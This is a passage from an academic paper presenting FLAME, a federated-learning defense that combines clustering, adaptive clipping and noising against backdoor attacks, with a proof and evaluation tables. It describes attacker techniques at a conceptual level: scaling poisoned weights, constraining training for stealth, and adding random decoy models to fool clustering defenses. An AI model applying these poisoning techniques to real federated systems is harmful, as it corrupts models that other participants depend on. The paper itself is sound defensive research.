compromised clients, he can fully control these distances, e.g.,
by changing the direction (in the case of W ′1) or magnitude
(in the case of W ′2) of the backdoored models’ weight vectors.

Figure 2 also shows three kinds of backdoored models re-
sulting from different types of backdoor attacks. The first type
W ′1 has a similar weight vector, but a large angular deviation
from the majority of local models and the global model. This
is because such models are trained to obtain high accuracy
on the backdoor task, which can be achieved by using a large
poisoned data rate (PDR) or a large number of local training
epochs (cf. Distributed Backdoor Attack (DBA) [59]). The
second backdoor type W ′2 has a small angular deviation but
a large magnitude to amplify the impact of the attack. Such
models can be crafted by the adversary by scaling up the
model weights to boost its effect on the global model (cf.
Model-replacement attack in [7]). The third backdoor type
W ′3 has a similar weight vector as benign models, the angular
difference and the magnitude are not substantially different
compared to benign models and, thus less distinguishable
from benign models. Such stealthy backdoored models can
be crafted by the adversary by carefully constraining the train-
ing process or scaling down the poisoned model’s weights (cf.
Constrain-and-scale attack [7] or FLIoT attack [45]).
Defense Objectives. A generic defense that can effectively
mitigate backdoor attacks in the FL setting needs to fulfill
the following objectives: (i) Effectiveness: To prevent the
adversary from achieving its attack goals, the impact of back-
doored model updates must be eliminated so that the aggre-
gated global model does not demonstrate backdoor behavior.
(ii) Performance: Benign performance of the global model

must be preserved to maintain its utility. (iii) Independence
from data distributions and attack strategies: The defense
method must be applicable to generic adversary models, i.e.,
it must not require prior knowledge about the backdoor attack
method, or make assumptions about specific data distributions
of local clients, e.g., whether the data are iid or non-iid.

4 FLAME Overview and Design
We present the high-level idea of FLAME and the associated
design challenges to fulfill the objectives identified in §3.

4.1 High-level Idea
Motivation. Earlier works (e.g., Sun et al. [56]) use differen-
tial privacy-inspired noising of the aggregated model for elim-
inating backdoors. They determine the sufficient amount of
noise to be used empirically. In the FL setting this is, however,
challenging, as one cannot in general assume the aggregator to
have access to training data, in particular to poisoned datasets.
What is therefore needed is a generic method for determining
how much noise is sufficient to remove backdoors effectively.
On the other hand, the more noise is injected into the model,
the more its benign performance will be impacted.
FLAME Overview. FLAME estimates the noise level re-
quired for backdoor removal in the FL setting without exten-
sive empirical evaluation and having access to training data
(this noise bound is formally proven in §5). In addition, to
effectively limit the amount of required noise, FLAME uses a
novel clustering-based approach to identify and remove adver-
sarial model updates with high impact and applies a dynamic
weight-clipping approach to limit the impact of models that
the adversary has scaled up to boost their performance. As
discussed in §3, one cannot guarantee that all backdoored
models can be detected since the adversary can fully control
both the angular and magnitude deviation to make the models
arbitrarily hard to detect. Our clustering approach therefore
aims to remove models with high attack impact (having larger
angular deviation) rather than all malicious models. Fig. 3
illustrates the high-level idea of FLAME consisting of the
above three components: filtering, clipping, and noising. We
emphasize, however, that each of these components needs
to be applied with great care, since, a naïve combination of
noising with clustering and clipping leads to poor results as
it easily fails to mitigate the backdoor and/or deteriorates the
benign performance of the model, as we show in §C. We de-
tail the design of each component and its use in the FLAME
defense approach in §4.3.

4.2 Design Challenges
To realize the high-level idea presented above, we need to
solve the following technical challenges.
C1- Filtering out backdoored models with large angular
deviations in dynamic scenarios. As discussed in §3, the
weight vector of a well-trained backdoored model, W ′, has a
higher angular difference in comparison to weight vectors of
benign models W . FLAME deploys a clustering approach to
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Figure 3: High-level idea of FLAME defense.

identify such poisoned models and remove them from FL ag-
gregation (detailed in §4.3.1). The effect of clustering-based
filtering is shown in Fig. 3a where model W ′1 is removed from
the aggregated model as it does not align with the directions
of benign models. In contrast to existing clustering-based de-
fenses, we need an approach that can also work in a dynamic
attack setting, i.e., the number of injected backdoors is un-
known and may vary between training rounds. To this end, we
make a key observation: clustering approaches using a fixed
number of clusters ncluster for identifying malicious models
are inherently vulnerable to attacks with varying numbers of
backdoors2 nbackdoor. This is because the adversary can likely
cause at least one backdoor model to be clustered together
with benign models due to the pigeonhole principle by simul-
taneously injecting nbackdoor ≥ ncluster backdoors. We seek
to solve this challenge by employing a clustering solution
that dynamically determines the clusters for model updates,
thereby allowing it to adapt to dynamic attacks.
C2-Limiting the impact of scaled-up backdoors. To limit
the impact of backdoored models that the adversary artificially
scales up to boost the attack (e.g., W ′2 in Fig. 2), the weight
vectors of models with high magnitudes can be clipped [56].
The effect of clipping is shown in Fig. 3a where the weight
vectors of all models with a magnitude beyond the clipping
bound S (in particular, backdoored model W ′2) are clipped to
S by scaling down the weight vectors. The resulting clipped
weight vectors are shown on the left side of Fig. 3b. The
challenge here is how to select a proper clipping bound with-
out empirically evaluating its impact on the training datasets
(which are not available in the FL setting). If the applied clip-
ping bound is too large, an adversary can boost its model W ′

by scaling its weights up to the clipping bound, thereby maxi-
mizing the backdoor impact on the aggregated global model
G. However, if the applied clipping bound is too small, a large
fraction of benign model updates W will be clipped, thereby
leading to performance deterioration of the aggregated global

2We consider two backdoors to be independent if they use different
triggers.

model G on the main task. We tackle this challenge in §4.3.2,
where we show how to select a clipping bound that can not
be influenced by the adversary and that effectively limits the
impact of scaled-up backdoored models.
C3-Selecting suitable noise level for backdoor elimination.
As mentioned in §4.1, FLAME uses model noising that ap-
plies Gaussian noise with noise level σ to mitigate the ad-
versarial impact of backdoored models (e.g., W ′3 in Fig. 2).
Similar to the clipping bound, however, also here the noise
level σ must be carefully selected, as it has a direct impact on
the effectiveness of the defense and the model’s benign per-
formance. If it is too low, the aggregated model might retain
backdoor behavior after model noising, rendering the defense
ineffective, while excessive noise will degrade the utility of
the aggregated model. To address this challenge, we develop
an approach for reliably estimating a sufficient but minimal
bound for the applied noise in §5.

4.3 FLAME Design
As discussed in §4.1, our defense consists of three main com-
ponents: filtering, clipping, and noising. Figure 4 shows these
components and the workflow of FLAME during training
round t. Algorithm 1 outlines the procedure of FLAME. In
the rest of this section, we detail the design of these compo-
nents to resolve the challenges in §4.2.
Algorithm 1 FLAME

1: Input: n, G0, T ▷ n is the number of clients, G0 is the initial
global model, T is the number of training iterations

2: Output: G∗T ▷ G∗T is the updated global model after T iterations
3: for each training iteration t in [1,T ] do
4: for each client i in [1,n] do
5: Wi← CLIENTUPDATE(G∗t−1) ▷ The aggregator

sends G∗t−1 to Client i who trains G∗t−1 using its data Di locally
to achieve local modal Wi and sends Wi back to the aggregator.

6: (c11, . . . ,cnn)← COSINEDISTANCE(W1, . . . ,Wn) ▷
∀i, j ∈ (1, . . . ,n), ci j is the cosine distance between Wi and W j

7: (b1, . . . ,bL)← CLUSTERING(c11, . . . ,cnn) ▷ L is the
number of admitted models, bl is the index of the lth model

8: (e1, . . . ,en) ← EUCLIDEANDIS-
TANCES(G∗t−1,(W1, . . . ,Wn)) ▷ ei is the Euclidean distance
between G∗t−1 and Wi

9: St ←MEDIAN(e1, . . . ,en) ▷ St is the adaptive clipping
bound at round t

10: for each client l in [1,L] do
11: W c

bl
← Gt−1 +(Wbl −Gt−1) ·MIN(1,γ) ▷ Where γ

(= St/ebl ) is the clipping parameter, W c
bl

is the admitted model
after clipped by the adaptive clipping bound St

12: Gt ← ∑
L
l=1 W c

bl
/L ▷ Aggregating, Gt is the plain global

model before adding noise

13: σ← λ ·St where λ = 1
ε
·
√

2ln 1.25
δ

▷ Adaptive noising level

14: G∗t ← Gt +N(0,σ2) ▷ Adaptive noising

4.3.1 Dynamic Model Filtering
The Model Filtering component of FLAME utilizes a dy-
namic clustering technique based on HDBSCAN [11] that
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Figure 4: Illustration of FLAME’s workflow in round t.
identifies poisoned models with high angular deviations
from the majority of updates (e.g., W ′1 in Fig. 3a). Existing
clustering-based defenses [9, 51] identify potentially mali-
cious model updates by clustering them into two groups where
the smaller group is always considered malicious and thus
removed. However, if no malicious models are present in the
aggregation, this approach may lead to many models being
incorrectly removed and thus a reduced accuracy of the ag-
gregated model. These approaches also do not protect against
attacks in which adversary A simultaneously injects multi-
ple backdoors by using different groups of clients to inject
different backdoors. If the number of clusters is fixed, there
is the risk that poisoned and benign models end up in the
same cluster, in particular, if models with different backdoors
differ significantly. Consequently, existing model clustering
methods do not adequately address challenge C1 (§4.2). Fig. 5
shows the behavior of different clustering methods on a set of
model updates’ weight vectors. Fig. 5a shows the ground truth
of an attack scenario where A uses two groups of clients: one
group is used to inject a backdoor, whereas the other group
provides random models with the goal of fooling clustering-
based defenses. Fig. 5b shows how in this setting, K-means
(as used in Auror [51]) fails to successfully separate benign
and poisoned models as all poisoned models end up in the
same cluster with the benign models.

To overcome the limitations of existing defenses, we de-
sign our clustering solution and ensure that: (i) it is able to
handle dynamic attack scenarios where multiple backdoors
are injected simultaneously, and (ii) it minimizes false posi-
tives of poisoned model identification. In contrast to existing
approaches that try to place poisoned models into one cluster,
our approach considers each poisoned model individually as
an outlier, so that it can gracefully handle multiple simultane-
ous backdoors and thus address challenge C1.

FLAME uses pairwise cosine distances to measure the
angular differences between all model updates and applies the
HDBSCAN clustering algorithm [11]. The advantage here is
that cosine distances are not affected even if the adversary
scales up model updates to boost their impact as this does not
change the angle between the updates’ weight vectors. Since
the HDBSCAN algorithm clusters the models based on their
density of the cosine distance distribution and dynamically
determines the required number of clusters, we leverage it for

Benign

BackdooredRandom

(a) Ground truth

Accepted

Rejected

(b) K-means

Cluster A

Cluster BCluster C

(c) HDBSCAN

Accepted

Rejected (Outliers)

(d) FLAME
Figure 5: Comparison of clustering quality for (a) ground truth, (b)
using K-means with 2 clusters as in Auror [51], (c) straightforward
applied HDBSCAN and (d) our approach as in FLAME.

our dynamic clustering approach. We describe HDBSCAN
and how we apply it in detail in §E. In particular, HDBSCAN
labels models as outliers if they do not fit into any cluster.
This allows FLAME to effectively handle multiple poisoned
models with different backdoors by labeling them as outliers.
To realize this, we set the minimum cluster size to be at least
50% of the clients, i.e., n

2 + 1, so that the resulting cluster
will contain the majority of updates (which we assume to
be benign, cf. §2.3). All remaining (potentially poisoned)
models are marked as outliers. This behavior is depicted in
Fig. 5d where all the models from Clusters B and C from
Fig. 5c are considered as outliers. Hence, to the best of our
knowledge, our approach is the first FL backdoor defense that
is able to gracefully handle also dynamic attacks in which the
number of injected backdoors may vary. The clustering step
is shown in lines 6-7 of Alg. 1 where L models are retained
after clustering.

4.3.2 Adaptive Clipping and Noising
As discussed in §4.2 (challenges C2 and C3), determining
a proper clipping bound and noise level for model weight
clipping and noising is not straightforward. We present our
new approach for selecting an effective clipping bound and
reliably estimating a sufficient noise level that can effectively
eliminate backdoors while preserving the performance of the
main task. Furthermore, our defense approach is resilient to
adversaries that dynamically adapt their attacks.
Adaptive Clipping. Fig. 6 shows the variation of the average
L2-norms of model updates of benign clients in three differ-
ent datasets (cf. §6) over subsequent training rounds. We can
observe that the L2-norms of benign model updates become
smaller in later training rounds. To effectively remove back-
doors while minimizing the impact on benign updates, the
clipping bound S needs to be dynamically adapted to this
decreasing trend of the L2-norm. Recall that clipping is per-
formed after clustering by scaling down model weights so that
the L2-norm of the scaled model becomes smaller or equal
to the clipping threshold. We describe how FLAME deter-
mines a proper scaling factor for each model update Wi in
tth training round as follows: Given the index set (b1, . . .bL)
of the models admitted by the clustering method (line 7 of
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Figure 6: L2-norms of model updates depending on the num-
ber of training rounds for different datasets.
Alg. 1), the aggregator first computes the clipping bound
St as the median of the L2-norms of all n model updates:
St = MEDIAN(e1, . . . ,en). It should be noted that for deter-
mining the clipping bound, the rejected models are also con-
sidered to ensure that even if benign models were filtered,
the computed median St is still determined based on benign
values. However, after determining the clipping bound, only
the admitted models W1, . . . ,WL are considered for later pro-
cessing. The scaling factor for the lth admitted model is com-
puted as γ = St

ebl
where ebl is the L2-norm of the model up-

date Wbl . Clipping scales down model updates as follows:
W c

bl
= Gt−1 +(Wbl −Gt−1) ·MIN(1,γ) (detailed in line 8-11

of Alg. 1) where the multiplication is computed coordinate-
wise. It is worth noting that weighting contributions (i.e.,
adjusting scaling factor) based on client data sizes is insecure.
As we point out in §2.1, the reported dataset sizes by clients
cannot be trusted, i.e., the adversary can lie about their dataset
sizes to maximize attack impact [57]. Hence, we follow com-
mon practice in literature and weight the contributions of all
clients equally regardless of their dataset size [7,9,12,59]. By
using the median as the clipping bound St , we ensure that St is
always in the range of the L2-norms between benign models
and the global model since we assume that more than 50% of
clients are benign (cf. §2.3). We evaluate the effectiveness of
the clipping approach in §B.2.

Adaptive Noising. It has been shown that by adding noise
to a model’s weights, the impact of outlier samples can be
effectively mitigated [17]. Noise can also be added to poi-
soned samples (special cases of outliers) used in backdoor
injection. The more noise is added to the model during the
training process, the less responsive the model will be to the
poisoned samples. Thus, increasing model robustness against
backdoors. Eliminating backdoors utilizing noise addition
is conceptually the same in a centralized or federated set-
ting (e.g., [7, 17]): In both cases, noise is added to the model
weights to smooth out the effect of poisoned data (cf. Eq. 5).
The challenge is to determine as small a noise level as possible
to eliminate backdoors and at the same time not deteriorate
the benign performance of the model. As we discuss in detail
in §5.1, the amount of noise is determined by estimating the
sensitivity based on the differences (distances) among local
models, which can be done without access to training data.
We then add Gaussian noise to the global model Gt to yield
a noised global model G∗t as follows: G∗t = Gt +N(0,σ2),
see Lines 13-14 of Alg. 1 for more details. This ensures

that backdoor contributions are effectively eliminated from
the aggregated model. In particular, we show in §5.1 how
the noise-based backdoor elimination technique can be trans-
ferred from a centralized to a federated setting by analysing
the relationship between aggregated Gaussian noise applied to
the global model and individual noising of each local model.

5 Security Analysis

5.1 Noise Boundary Proof of FLAME
In this section, we provide a proof to corroborate that
FLAME can neutralize backdoors in the FL setting by apply-
ing strategical noising with bound analysis on the noise level.
We first formulate the noise boundary guarantee of FLAME
in Theorem 1. Subsequently, we explain related parameters
and prove how the noise level bound for σ can be estimated.
This is done by generalizing theoretical results from previous
works [17,18] to the FL setting. Then, we show how the filter-
ing and clipping component of FLAME helps to effectively
reduce the noise level bound in Theorem 2. We provide a
formal proof for linear models and extend the proof to DNNs
using empirical evaluation. This is because providing formal
proof for DP-based backdoor security for DNN models is still
an open research problem even for centralized settings.

Theorem 1. A (ε,δ)-differentially private model with param-
eters G and clipping bound St is backdoor-free if random
Gaussian noise is added to the model parameters yielding a
noised version G∗ of the model: G∗← G+N(0,σ2

G) where
the noise scale σG is determined by the clipping bound St and

a noise level factor λ: σG← λ ·St and λ = 1
ε
·
√

2ln 1.25
δ

.

We explore the key observation that an ML model with a
sufficient level of differential privacy is backdoor-free. With
this new definition of backdoor-free models in the DP domain,
the main challenge to defeat backdoors in the FL setting is
to decide a proper noise scale for the global model without
knowledge of the training datasets. Furthermore, we need
to minimize the amount of noise added to the global model
to preserve its performance on the main task. None of the
prior DP-based FL backdoor defense techniques provide a
solution to the noise determination problem [56]. For the first
time, FLAME presents an approach to estimate the proper
noise scale that ensures the global model is backdoor-free.
The noise boundary proof in Theorem 1 consists of two steps:
Step 1 (S1). By introducing the data hiding property of DP
(Def. 1) and its implication as the theoretical guarantee for
backdoor-free models. We also discuss function sensitivity
(Def. 2) which is an important factor for selection of the DP
parameters (ε,δ).
Step 2 (S2). We show how FLAME generalizes backdoor
elimination from centralized setting to federated setting with
theoretical analysis of the noise boundary (Eq. 5 and 6).
FLAME is the first FL defense against backdoors that pro-
vides noise level proof with bounded backdoor effectiveness.
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(S1) DP foundations and re-interpretation as Backdoor-
free. As discussed in §2.4, by definition, DP makes the differ-
ence between data points indistinguishable. FLAME lever-
ages this property of DP for backdoor elimination. In par-
ticular, we can consider D1 and D2 in Def. 1 as the benign
and backdoored dataset. The inequality of DP suggests that
algorithm M has a high probability of producing the same
outputs on the benign and the poisoned dataset, meaning that
the backdoor is eliminated. The noise level σ is determined
based on the DP parameters (ε,δ) and the sensitivity of the
function f defined below:

Definition 2 (Sensitivity). Given the function f : D → Rd

where D is the data domain and d is the dimension of the
function output, the sensitivity of the function f is defined as:

∆ = max
D1, D2 ∈ D

|| f (D1)− f (D2)||2, (4)

where D1 and D2 differs on a single element ||D1−D2||1 = 1.

As shown in Lemma 1 [18], this definition can be extended
to datasets differing by more than one element, i.e., can be
generalized to the DP in the multiple-point-difference setting.
(S2) Generalizing backdoor resilience from centralized to
federated setting (FLAME). In the centralized setting, the
defender has access to the model to be protected, the benign
dataset, and the outlier (backdoored) samples. As such, he
can estimate the sensitivity ∆ for (ε,δ)-DP. When applying

Gaussian noise with the noise scale σ = ∆

ε

√
2ln 1.25

δ
, the de-

fender can enforce a lower bound on the prediction loss of the
model on the backdoored samples for backdoor elimination
[28]. However, this robustness rationale cannot be directly
transferred from the centralized setting to the FL setting since
the defender in the federated scenario (i.e., aggregator) only
has access to received model updates, but not the datasets to
estimate the sensitivity ∆ for the global model.

FLAME extends DP-based noising for backdoor elimina-
tion to the federated setting based on the following observa-
tion: if one can ensure that all aggregated models are benign
(i.e., backdoor-free), then it is obvious that the aggregated
global model will also be backdoor-free. This intuition can
be formally proven if the FL aggregation rule is Byzantine-
tolerant. To ensure that any backdoor potentially present in
the model is eliminated and the aggregated model is benign,
a sufficient DP noise level is added to individual local mod-
els. However, since the local models are independent, adding
noise to each local model is mathematically equivalent to
the case where aggregated noise is added to the global model.
This is conceptually equivalent to the conventional centralized
setting, for which it has been formally shown that DP noise
can eliminate backdoors [17]. In the following, we therefore
show that adding DP noise to local models is equivalent to
adding ‘aggregated’ DP noise to the global model.

We write the standard deviation of noise for the local mod-
els in the form σi← αi·ei

ε
·
√

2ln 1.25
δ

where αi =
∆i
ei

, ∆i and ei

is the sensitivity and the L2 norm of the model Wi, respectively.
Mathematically, the FL system with FLAME has:

G∗ =
1
n

Σ
n
i=1W ∗i =

1
n
[ Σ

n
i=1 Wi +N(0,σ2

i )]

=
1
n

Σ
2
i=1Wi +

1
n

Σ
n
i=1N(0,σ2

i )

=
1
n

Σ
2
i=1Wi +N(0,

1
n

Σ
n
i=1σ

2
i )

= G+N(0,σ2
G)

(5)

in which W ∗i are local models and G∗ the global model after
adding noise N(0,σ2

i ). Equation 5 represents the fact that
adding DP noise to each local model (i.e., Wi +N(0,σ2

i )) is
equivalent to adding an ‘aggregated’ DP noise on the global
model (i.e., G+N(0,σ2

G)). More specifically, this equivalent
Gaussian noise on the global model is the sum of Gaus-
sian noise applied on each local model with a scaling factor
NG = 1

n Σn
i=1Ni. Here, NG and Ni are random variables with

distribution N(0,σ2
G) and N(0,σ2

i ), respectively. As such, we
can compute the equivalent noise scale for the global model:

σ
2
G =

1
n2 Σ

n
i=1σ

2
i = (

1
ε

√
2ln

1.25
δ

)2 · 1
n2 Σ

n
i=1∆

2
i

= (
1
ε

√
2ln

1.25
δ

)2 · 1
n2 Σ

n
i=1α

2
i e2

i . (6)

Equation 6 describes the relation between the DP noise added
on FLAME’s global model and the DP noise added on each
local model. This noise scale relation in Eq. 6 together with
the transformation in Eq. 5 enable FLAME to provide guaran-
teed security for the global model against backdoors, thereby
addressing Challenge C3 .

In Alg. 1, we use the median of Euclidean distances ei as the
upper bound St to clip the admitted local models (line 9-11).
We hypothesize that the sensitivity of a model Wi is positively
correlated with its weight magnitude |Wi| (see Theorem 2
for details). In the case of linear models, the sensitivity ∆

has a linear relation with the model weight |−→w | (see Eq. 8).
Therefore, we use the following approximation:

1
n2 Σ

n
i=1α

2
i e2

i =
1
n2 Σ

n
i=1∆

2
i ≈ S2

t ,

where St is the weight clipping bound. Having substituted the
above approximation into Eq. 6, we can compute the noise
scale of DP that FLAME deploys on the global model NG:

σG ≈
St

ε

√
2ln

1.25
δ

(7)

This concludes the proof of Theorem 1.
FLAME’s adaptive noising step applies the Gaussian noise
with the noise scale computed in Eq. 7 on the global model
for backdoor elimination as shown in Alg. 1, line 13-14. Note
that FLAME’s noising scheme is adaptive since the clipping
bound St is obtained dynamically in each tth epoch.

Next, we present Theorem 2 and justify how FLAME de-
sign reduces the derived noise level with step 3 (S3) below.
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(S3) Clustering and clipping components in FLAME help
to reduce the DP noise boundary. Recall that FLAME pro-
tects the FL system against backdoor attacks using three steps:
clustering, clipping, and adding DP noise. The overall work-
flow of FLAME is shown in Fig. 4. If multiple backdoors
exist in the FL system, the first two steps (clustering and clip-
ping) can remove a subset of backdoors as shown in Fig. 3a.
Note that the remaining backdoors are ‘closer’ to the benign
model updates in terms of both magnitude and direction. This
gives us the intuition that removing the remaining backdoors
by adding DP noise becomes easier (i.e., the noise scale σG
is smaller) after the first two steps of FLAME.

We can see from Theorem 1 that the Gaussian noise scale σ

required for backdoor resilience increases with the sensitivity
of each local model ∆i. We describe two characteristics of the
model parameter W , i.e., direction and magnitude in §4. We
discuss how these two factors impact the sensitivity of the
model defined in Eq. 4 below.
Theorem 2. Backdoor models with large angular deviation
from benign ones, or with large parameter magnitudes have
high sensitivity values ∆.

Proving DP-based backdoor security for DNN models is
still an open problem, even in the centralized setting. We,
therefore, adopt a common approach in literature (e.g., [17])
by providing theoretical proof for linear models and validating
it for DNNs empirically.

Proof : for a linear model f where the function output is
determined by the inner product of model weight vector −→w
and the data vector −→x , we have

f (w; x) =−→w ·−→x = |w| · |x| · cosθ, (8)
where θ =<−→w ,−→x > is the angle between two vectors. In this
case, it is straightforward to see that if the backdoor attack
changes the parameter magnitude |w| or the direction θ of
the model f , the resulting poisoned model f ′ has a large
sensitivity value based on the definition in Eq. 4.

This analysis suggests that backdoor models with large an-
gular deviations or with large weight magnitudes have a high
sensitivity value ∆. Recall that FLAME deploys dynamic
clustering (§4.3.1) to remove poisoned models with large
cosine distances, and employs adaptive clipping (§4.3.2) to
remove poisoned models with large magnitudes. Therefore,
the sensitivity of the remaining backdoor models is lower
compared to the one before applying these two steps. As a re-
sult, FLAME can use a small Gaussian noise to eliminate the
remaining backdoors after applying clustering and clipping,
which is beneficial for preserving the main task accuracy.

We empirically show how the noise scale for backdoor
elimination changes after applying each step of FLAME. Par-
ticularly, we measure the smallest Gaussian noise scale σ

required to defeat all backdoors (i.e., BA = 0%) in three set-
tings: i) No defense components applied (which is equivalent
to the previous DP-based defense [7, 18]); ii) After applying
dynamic clustering; iii) After applying both dynamic cluster-
ing and adaptive clipping (which is the setting of FLAME).

Table 1: Effect of clustering and clipping in FLAME on
minimal Gaussian noise level σ for backdoor elimination in
the NIDS scenario, in terms of Backdoor Accuracy (BA) and
Main Task Accuracy (MA).

σ

Only
Noising

After
Clustering

After Clustering
& Clipping

BA MA BA MA BA MA
0.01 100.0% 100.0% 0.0% 80.5% 0.0% 100.0%
0.08 3.5% 66.7% 0.0% 66.7% 0.0% 100.0%
0.10 0.0% 54.2% 0.0% 66.1% 0.0% 87.6%

We conduct this comparison experiment on the IoT-Traffic
dataset (cf. §6). For each communication round, 100 clients
are selected where k = 40 are adversaries. We remove the
backdoor by adding Gaussian noise N(0,σ2) to the aggre-
gated model. Table 1 summarizes the evaluation results in the
above three settings. We can observe from the comparison
results that the noise scale required to eliminate backdoors de-
creases after individual deployment of clustering and clipping.
This corroborates the correctness of Theorem 2.

5.2 Attack and Data Distribution Assumption
In FLAME, we do not make specific assumptions about
the attack and data distribution compared to the existing
clustering-based defenses. Let X = (X1, . . . ,Xb) be a set of dis-
tributions of benign models (W1, . . . ,Wn−k) where b≤ n− k.
The deviation in X is caused by the diversity of the data. Let
X ′ = (X ′1, . . . ,X

′
a) be a set of distributions of poisoned mod-

els (W ′1, . . . ,W
′
k) where a≤ k. The deviation in X ′ is caused

by the diversity of the benign data and backdoors (e.g., poi-
soned data or model crafting). Existing works assume that
X ′i ≈X ′j (∀i, j : 1≤ i, j≤ a) (see e.g., [22] or X ′ ̸=X [9,51]).
However, this assumption does not hold in many situations
because (i) there can be one or multiple attackers injecting
multiple backdoors [7], or (ii) the adversary can inject one
or several random (honeypot) models having a distribution
X ′r that is significantly different from X ∪ (X ′ \X ′r), and (iii)
the adversary can control how much the backdoored mod-
els deviate from benign ones as discussed in §3. Therefore,
approaches that purely divide models into two groups, e.g.,
K-means [51] will incorrectly classify models having distri-
bution X ′r into the malicious group and all remaining models
(having distributions drawn from (X ∪ (X ′ \X ′r)) into the be-
nign group. As a result, all backdoored models having dis-
tributions drawn from (X ′ \X ′r) are classified as benign, as
demonstrated in Fig. 5b. In contrast, FLAME does not rely
on such specific assumptions (the adversary can arbitrarily
choose X ′). If the distribution X ′i of a poisoned model is simi-
lar to benign distributions in X , FLAME will falsely classify
X ′i as being. But if the distribution X ′j of a poisoned model is
different from the distributions in X , FLAME will identify X ′j
as an outlier and classify the associated model as malicious.
To identify deviating and thus potentially malicious models,
FLAME leverages the HDBSCAN algorithm to identify re-
gions of high density in the model space. Any models that are
not located in the dense regions will be categorized as out-
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liers, as shown in Fig. 5d. As discussed in §3, FLAME aims
to remove models with distributions X ′j that have a higher
attack impact compared to models with distribution X ′i . It is
worth noting, however, that the impact of such remaining back-
doored models will be eliminated by the noising component
as shown in §5.1
Striking a balance between accuracy and security: Clus-
tering and DP-based approaches affect model accuracy as
discussed in §4.2 (Challenges C2 and C3). In particular, an ap-
proach that aims to maximize the number of filtered malicious
models may lead to many false positives, i.e., many benign
models being filtered out. Moreover, applying a very low clip-
ping bound or a very high level of injected noise will degrade
model accuracy. To address these problems, FLAME is con-
figured so that the clustering component removes only models
with high attack impact rather than all malicious models, i.e.,
it aims to remove the first backdoor type W ′1 as shown in
Fig. 3. In addition, FLAME carefully estimates the clipping
bound and noise level to ensure backdoor elimination while
preserving model performance. As discussed in §4.3.2, the
L2-norms of model updates depend on the number of training
rounds, dataset types, and type of backdoors. Consequently,
the clipping threshold and noise level should be adapted to
L2-norms. We therefore apply the median of the L2-norms of
model updates as the clipping bound St (cf. Lines 9-11 of Alg.
1). This ensures that St is always computed between a benign
local model and the global model since we assume that more
than 50% of clients are benign (cf. §2.3). Further, estimating
noise level based on St (cf. Lines 13-14 of Alg. 1) also pro-
vides a noise boundary that ensures that the global model is
resilient against backdoors as discussed in §5.1. Moreover,
our comparison of potential values for St presented in §B.2
and §B.3 shows that the chosen clipping bound and noise
level provide the best balance between accuracy and security,
i.e., FLAME eliminates backdoor while retaining the global
model’s performance on the main task.

6 Experimental Setup
We conduct all the experiments using the PyTorch deep learn-
ing framework [2] and use the source code provided by Bag-
dasaryan et al. [7], Xie et al. [59] and Wang et al. [57] to
implement the attacks. We reimplemented existing defenses
to compare them with FLAME.
Datasets and Learning Configurations. Following recent
research on poisoning attacks on FL, we evaluate FLAME
in three typical application scenarios: word prediction [35,
38–40], image classification [13, 49, 50], and an IoT intrusion
detection [44,47,48,54] as summarized in Tab. 2. Verification
of the effectiveness of FLAME against state-of-the-art attacks
in comparison to existing defenses (cf. Tab. 3 and Tab. 4) are
conducted on these three datasets in the mentioned application
scenarios. Experiments for evaluating specific performance
aspects of FLAME are performed on the IoT dataset as it
represents a very diverse and real-world setting with clear

Table 2: Datasets used in our evaluations.
Application Datasets #Records Model #params
WP Reddit 20.6M LSTM ∼20M
NIDS IoT-Traffic 65.6M GRU ∼507k

IC
CIFAR-10 60k ResNet-18 Light ∼2.7M
MNIST 70k CNN ∼431k
Tiny-ImageNet 120k ResNet-18 ∼11M

security implications.
Evaluation Metrics. We consider a set of metrics for evalu-
ating the effectiveness of backdoor attack and defense tech-
niques as follows: BA - Backdoor Accuracy indicates the
accuracy of the model in the backdoor task, i.e., it is the frac-
tion of the trigger set for which the model provides the wrong
outputs as chosen by the adversary. The adversary aims to
maximize BA, while an effective defense prevents the adver-
sary from increasing it. MA - Main Task Accuracy indicates
the accuracy of a model in its main (benign) task. It denotes
the fraction of benign inputs for which the system provides
correct predictions. The adversary aims at minimizing the
effect on MA to reduce the chance of being detected. The
defense system should not negatively impact MA. TPR - True
Positive Rate indicates how well the defense identifies poi-
soned models, i.e., the ratio of the number of models correctly
classified as poisoned (True Positives - TP) to the total num-
ber of models being classified as poisoned: TPR = T P

T P+FP ,
where FP is False Positives indicating the number of benign
clients that are wrongly classified as malicious. TNR - True
Negative Rate indicates the ratio of the number of models
correctly classified as benign (True Negatives - TN) to the
total number of benign models: TNR = T N

T N+FN , where FN is
False Negatives indicating the number of malicious clients
that are wrongly classified as benign.

7 Experimental Results
In this section, we evaluate FLAME against backdoor attacks
in the literature (§7.1) and demonstrate that our defense mech-
anism is resilient to adaptive attacks (§7.2). In addition, we
show the effectiveness of each of FLAME’s components in
§B and FLAME overhead in §D. Finally, we evaluate the
impact of the number of clients (§7.3) as well as the degree
of non-IID data (§7.4).

7.1 Preventing Backdoor Attacks
Effectiveness of FLAME. We evaluate FLAME against
the state-of-the-art backdoor attacks called constrain-and-
scale [7], DBA [59], PGD and Edge-Case [57] and an untar-
geted poisoning attack [20] (cf. §F) using the same attack
settings as in the original works with multiple datasets. The
results are shown in Tab. 3. FLAME completely mitigates the
constrain-and-scale attack (BA = 0%) for all datasets. More-
over, our defense does not affect the Main Task Accuracy
(MA) of the system as MA reduces by less than 0.4% in all
experiments. The DBA attack as well as the Edge-Case at-
tack [57] are also successfully mitigated (BA = 3.2%/4.0%).
Further, FLAME is also effective against PGD attacks (BA =
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Table 3: Effectiveness of FLAME against state-of-the-art
attacks for the respective dataset, in terms of Backdoor Accu-
racy (BA) and Main Task Accuracy (MA). All metric values
are reported as percentages.

Dataset No Defense FLAME
Attack BA MA BA MA

Constrain-and-scale [7] Reddit 100 22.6 0 22.3
CIFAR-10 81.9 89.8 0 91.9
IoT-Traffic 100.0 100.0 0 99.8

DBA [59] CIFAR-10 93.8 57.4 3.2 76.2
Edge-Case [57] CIFAR-10 42.8 84.3 4.0 79.3
PGD [57] CIFAR-10 56.1 68.8 0.5 65.1
Untargeted Poisoning [20] CIFAR-10 - 46.72 - 91.31

Table 4: Effectiveness of FLAME in comparison to state-of-
the-art defenses for the constrain-and-scale attack on three
datasets, in terms of Backdoor Accuracy (BA) and Main Task
Accuracy (MA). All values are percentages.

Defenses Reddit CIFAR-10 IoT-Traffic
BA MA BA MA BA MA

Benign Setting - 22.7 - 92.2 - 100.0
No defense 100.0 22.6 81.9 89.8 100.0 100.0
Krum [9] 100.0 9.6 100.0 56.7 100.0 84.0
FoolsGold [22] 0.0 22.5 100.0 52.3 100.0 99.2
